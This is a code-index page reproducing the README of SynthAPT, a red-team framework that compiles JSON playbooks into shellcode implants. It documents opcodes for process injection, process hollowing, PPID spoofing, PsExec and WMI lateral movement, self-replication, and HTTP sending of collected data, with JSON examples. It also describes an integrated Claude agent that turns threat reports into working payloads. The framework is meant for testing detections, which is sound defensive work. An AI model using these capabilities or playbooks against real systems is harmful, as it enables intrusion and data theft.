MCPcopy Index your code
hub / github.com/acedef/SynthAPT

github.com/acedef/SynthAPT @v0.2.0

Chat with this repo
repository ↗ · DeepWiki ↗ · release v0.2.0 ↗ · + Follow
1,204 symbols 3,288 edges 74 files 513 documented · 43% updated 2mo agov0.2.0 · 2026-02-26★ 230
What it actually does AI analysis from the code graph — generated when you open this
loading…
README

SynthAPT

Overview

SynthAPT is a playbook-based adversary simulation framework for replicating complex attack paths. It is designed for validating advanced detections and AI-based investigation agents. The core idea is that malware behavior can be expressed in JSON and compiled into functional malware, enabling rapid development of realistic scenarios using LLMs.

The core implant is a shellcode payload driven by a playbook interpreter. A playbook predefines the full attack path and the implant follows it, moving throughout the environment via process injection, lateral movement, etc. Each implant spawns as an independent thread with its own instruction set, so multi-stage attacks (e.g. initial access → privesc → lateral movement → exfiltration) are expressed as a graph of cooperating implants, all defined upfront in the playbook. This has three major advantages:

  1. Payloads can mimic real malware without C2 infrastructure - the full attack path is embedded in the payload and C2 interactions can be mocked
  2. Payloads are repeatable - they execute the entire attack path identically every time, making them suitable for regression testing detections
  3. LLMs can translate threat intelligence reports and blogs directly into working payloads, without requiring offensive expertise or building malware from scratch

Features

  • Position-independent shellcode - the implant is fully PIC and can be rolled into any loader or injector
  • Rich opcode library - execution, token manipulation, process injection, process hollowing, lateral movement, AD enumeration and modification, registry, services, and more
  • Self-replicating payloads - the implant can drop itself as an EXE or DLL with a different task set, enabling multi-stage delivery without a C2
  • Flexible output formats - compile a playbook to raw shellcode, a PE EXE, or a PE DLL
  • In-memory Python - a Python interpreter may be reflectively loaded at runtime, exposing all implant capabilities as a Python module for flexible scripting
  • NPC simulation - 'explorer' opcodes allow unzipping and launching payloads automatically in a way that automatically reproduces user-interaction artifacts (when injected into Explorer.exe)
  • TUI editor with LLM agent - a terminal-based playbook editor with an integrated Claude agent that can generate and edit playbooks from natural language or threat intelligence
  • BOF Loader - functionality may be extended with standard Beacon Object Files

Building from Source

If you don't want to use the release you can compile it like so:

  1. cargo
  2. rustup
  3. binutils-mingw-w64-x86-64
cargo install cargo-make
rustup toolchain install nightly
rustup target add x86_64-pc-windows-gnu --toolchain nightly                                                                                                                                                         
sudo apt install gcc-mingw-w64-x86-64

Build with cargo make:

cargo make build
./target/release/synthapt

This will compile the shellcode and the editor.

Use

Running SynthAPT without any commands will drop you into the editor. You can provide a Claude API key and view the changes as you prompt.

SynthAPT playbook editor and compiler

Usage: synthapt [COMMAND]

Commands:
  edit          Open the TUI editor with a playbook loaded from PATH
  validate      Validate a playbook JSON file and print any errors
  export-skill  Export the agent system prompt as a Claude Code slash command skill
  compile       Compile a playbook to a payload

If you want to use another LLM or a subscription, you can run synthapt export-skill and use that with whatever coding setup you have.

It should spit out a JSON playbook. Compile it into a payload with the compile command:

Compile a playbook to a payload

Usage: synthapt compile [OPTIONS] <PLAYBOOK> [OUTPUT]

Arguments:
  <PLAYBOOK>  Path to the playbook JSON file
  [OUTPUT]    Output file path (default: payload.bin / payload.exe / payload.dll)

Options:
  -e, --exe          Compile to PE EXE
  -d, --dll          Compile to PE DLL
  -b, --base <BASE>  Override the embedded base shellcode with a custom binary
  -h, --help         Print help

Opcodes Reference

Constants can be defined as strings, hex objects, or base64 objects:

"constants": [
  "c:\\windows\\temp\\file.txt",
  { "hex": "deadbeef" },
  { "base64": "SGVsbG8=" }
]

end (0x00)

End of task set. Automatically appended by the compiler - you do not need to add it.


store_result (0x01)

Store the last operation result into a variable.

Field Type
var u16 required
{ "op": "store_result", "var": 0 }

get_shellcode (0x02)

Return the current shellcode bytes with an optional task ID and/or magic value patched in.

Field Type
task u8 optional
magic u32 hex string or number optional
{ "op": "get_shellcode" }
{ "op": "get_shellcode", "task": 5, "magic": "0x18181818" }

sleep (0x03)

Sleep for the given number of milliseconds.

Field Type
ms u32 required
{ "op": "sleep", "ms": 5000 }

run_command (0x04)

Execute a command via cmd.exe.

Field Type
command string required
{ "op": "run_command", "command": "whoami /all" }

get_cwd (0x05)

Get the current working directory. No arguments.

{ "op": "get_cwd" }

read_file (0x06)

Read a file and return its contents.

Field Type
path string required
{ "op": "read_file", "path": "c:\\users\\public\\data.txt" }
{ "op": "read_file", "path": "%0" }

write_file (0x07)

Write bytes to a file.

Field Type
path string required
content bytes optional (empty file if omitted)
{ "op": "write_file", "path": "c:\\temp\\out.txt", "content": "hello" }
{ "op": "write_file", "path": "%0", "content": "$1" }

check_error (0x08)

Print the status code of a variable (0 = success, non-zero = error).

Field Type
var u16 required
{ "op": "check_error", "var": 0 }

conditional (0x09)

Branch to different task indices based on variable state.

Field Type
mode "data" or "error" required
var1 u16 required
var2 u16 optional (compare two vars instead of single check)
true u16 required (task index if condition is true)
false u16 required (task index if condition is false)

true_target and false_target are accepted as aliases for true and false.

Single-variable modes: - "data" — true if var1 has non-empty data - "error" — true if var1 status is 0 (success)

Two-variable modes (var2 present): - "data" — true if var1 data equals var2 data - "error" — true if var1 error code equals var2 error code

{ "op": "conditional", "mode": "error", "var1": 0, "true": 3, "false": 5 }
{ "op": "conditional", "mode": "data", "var1": 0, "var2": 1, "true": 3, "false": 5 }

set_var (0x0A)

Set a variable to a literal value.

Field Type
var u16 required
data bytes optional (empty if omitted)

Literal string and hex/base64 values are stored with a 5-byte result prefix so they look like normal operation results when read back. Variable ($n) and constant (%n) references are passed through as-is.

{ "op": "set_var", "var": 0, "data": "hello world" }
{ "op": "set_var", "var": 1, "data": { "hex": "deadbeef" } }

print_var (0x0B)

Print a variable's contents to stdout (debug). Omit var to print the last operation result.

Field Type
var u16 optional (prints last result if absent)
{ "op": "print_var", "var": 0 }
{ "op": "print_var" }

goto (0x0C)

Unconditional jump to a task index within the current task set.

Field Type
target u16 required
{ "op": "goto", "target": 2 }

migrate (0x0D)

Inject shellcode into a process matching a search string or PID.

Field Type
task_id u8 required
search string or number optional (empty = no search; number = target PID)
magic u32 hex string or number optional
{ "op": "migrate", "task_id": 1, "search": "explorer.exe" }
{ "op": "migrate", "task_id": 1, "search": 1234 }
{ "op": "migrate", "task_id": 1, "search": "notepad", "magic": "0x18181818" }

list_procs (0x0E)

List running processes. Returns tab-separated lines: pid\timage\tcmdline\n. No arguments.

{ "op": "list_procs" }

get_const (0x0F)

Load a constant into the last result. Accepts index or const_idx as the field name.

Field Type
index u16 required
{ "op": "get_const", "index": 0 }

wmi_exec (0x10)

Execute a command via WMI, optionally on a remote host.

Field Type
command string required
host string optional (empty = localhost)
user string optional (empty = current user)
pass string optional (empty = current credentials)
{ "op": "wmi_exec", "command": "calc.exe" }
{ "op": "wmi_exec", "command": "cmd.exe /c whoami", "host": "192.168.1.10", "user": "CORP\\admin", "pass": "Password1" }

http_send (0x11)

Send an HTTP/S request.

Field Type
host string required
method string optional (default: "GET")
port u16 optional (default: 80)
path string optional (default: "/")
secure bool optional (default: false)
body bytes optional (empty if omitted)
{ "op": "http_send", "host": "example.com" }
{ "op": "http_send", "method": "POST", "host": "10.0.0.1", "port": 443, "path": "/data", "secure": true, "body": "$0" }

sacrificial (0x12)

Spawn a process suspended, inject shellcode, and resume it.

Field Type
image string required
task_id u8 required
pipe_name string optional (named pipe for output capture, without \\.\pipe\ prefix)
search string optional (process name/cmdline to spoof PPID from)
no_kill bool optional (default: false — process is killed after injection)
{ "op": "sacrificial", "image": "C:\\Windows\\System32\\notepad.exe", "task_id": 1 }
{ "op": "sacrificial", "image": "C:\\Windows\\System32\\svchost.exe", "task_id": 1, "search": "services.exe", "pipe_name": "output" }

redirect_stdout (0x13)

Redirect stdout to a file or named pipe. Subsequent run_command output goes there.

Field Type
path string required
{ "op": "redirect_stdout", "path": "c:\\temp\\log.txt" }
{ "op": "redirect_stdout", "path": "\\\\.\\pipe\\output" }

shellcode_server (0x14)

Start a TCP server that serves shellcode to connecting clients. Each client receives a copy with an incrementing magic value.

Field Type
port u16 required
magic_base u32 hex string or number optional
{ "op": "shellcode_server", "port": 8080 }
{ "op": "shellcode_server", "port": 8080, "magic_base": "0x18181818" }

resolve_hostname (0x15)

Resolve a hostname to an IPv4 address string.

Field Type
hostname string required
{ "op": "resolve_hostname", "hostname": "dc01.corp.local" }

psexec (0x16)

Copy a binary to a remote host via SMB and execute it as a service (PsExec-style lateral movement).

Field Type
target string required (hostname or IP)
service_name string required
display_name string required
binary_path string required (path on the remote host)
service_bin bytes required (binary data to write)
{ "op": "psexec", "target": "192.168.1.10", "service_name": "MySvc", "display_name": "My Service", "binary_path": "c:\\windows\\temp\\svc.exe", "service_bin": "$0" }

generate_exe (0x17)

Generate a PE executable with the current shellcode and bytecode embedded.

Field Type
task_id u8 required
{ "op": "generate_exe", "task_id": 1 },
{ "op": "store_result", "var": 0 },
{ "op": "write_file", "path": "c:\\temp\\payload.exe", "content": "$0" }

run_bof (0x18)

Execute a Beacon Object File (BOF).

Field Type
bof_data bytes required
entry string optional (default: "go")
inputs bytes optional (BOF arguments, empty if omitted)
{ "op": "run_bof", "bof_data": "%0", "entry": "go", "inputs": "" }
{ "op": "run_bof", "bof_data": "$0" }

query_ldap (0x19)

Query an LDAP directory.

Field Type
base string required (base DN)
filter string required
scope u8 optional (default: 2 = subtree; 0 = base, 1 = one-level)
attribute string optional (empty = return all attributes)
{ "op": "query_ldap", "base": "DC=corp,DC=local", "filter": "(objectClass=user)", "attribute": "sAMAccountName" }
{ "op": "query_ldap", "base": "DC=corp,DC=local", "filter": "(&(objectClass=computer)(operatingSystem=*Server*))", "scope": 2 }

set_ad_attr_str (0x1A)

Set an Active Directory attribute to a string value.

Field Type
dn string required
attr string **req

Extension points exported contracts — how you extend this code

IsNull (Interface)
Utility function for checking null terminator for u8 and u16 [1 implementers]
win64/src/libs/utils.rs
Scrollable (Interface)
Trait for panes that support scrolling
common/src/tui/text.rs
Selectable (Interface)
Trait for panes that support text selection
common/src/tui/text.rs

Core symbols most depended-on inside this repo

get_instance
called by 595
win64/src/main.rs
push
called by 510
synthapt/src/model.rs
add
called by 212
synthapt/src/shortcuts.rs
is_null
called by 182
win64/src/libs/utils.rs
get
called by 176
win64/src/net.rs
ldr_function
called by 173
win64/src/libs/ldrapi.rs
resolve_arg
called by 134
win64/src/tasks.rs
encode_arg
called by 121
common/src/compiler.rs

Shape

Function 587
Method 325
Class 245
Enum 44
Interface 3

Languages

Rust100%
Python1%

Modules by API surface

synthapt/src/update.rs88 symbols
win64/src/python.rs73 symbols
common/src/tui/canvas/shapes.rs66 symbols
common/src/lib.rs61 symbols
win64/src/mem.rs50 symbols
win64/src/libs/utils.rs48 symbols
synthapt/src/model.rs48 symbols
synthapt/src/shortcuts.rs47 symbols
win64/src/libs/ntdef.rs36 symbols
win64/src/libs/coffee/beacon_api.rs35 symbols
win64/src/tasks.rs31 symbols
common/src/tui/canvas/animation.rs30 symbols

For agents

$ claude mcp add SynthAPT \
  -- python -m otcore.mcp_server <graph>

⬇ download graph artifact

Ask about this repo answers extend the page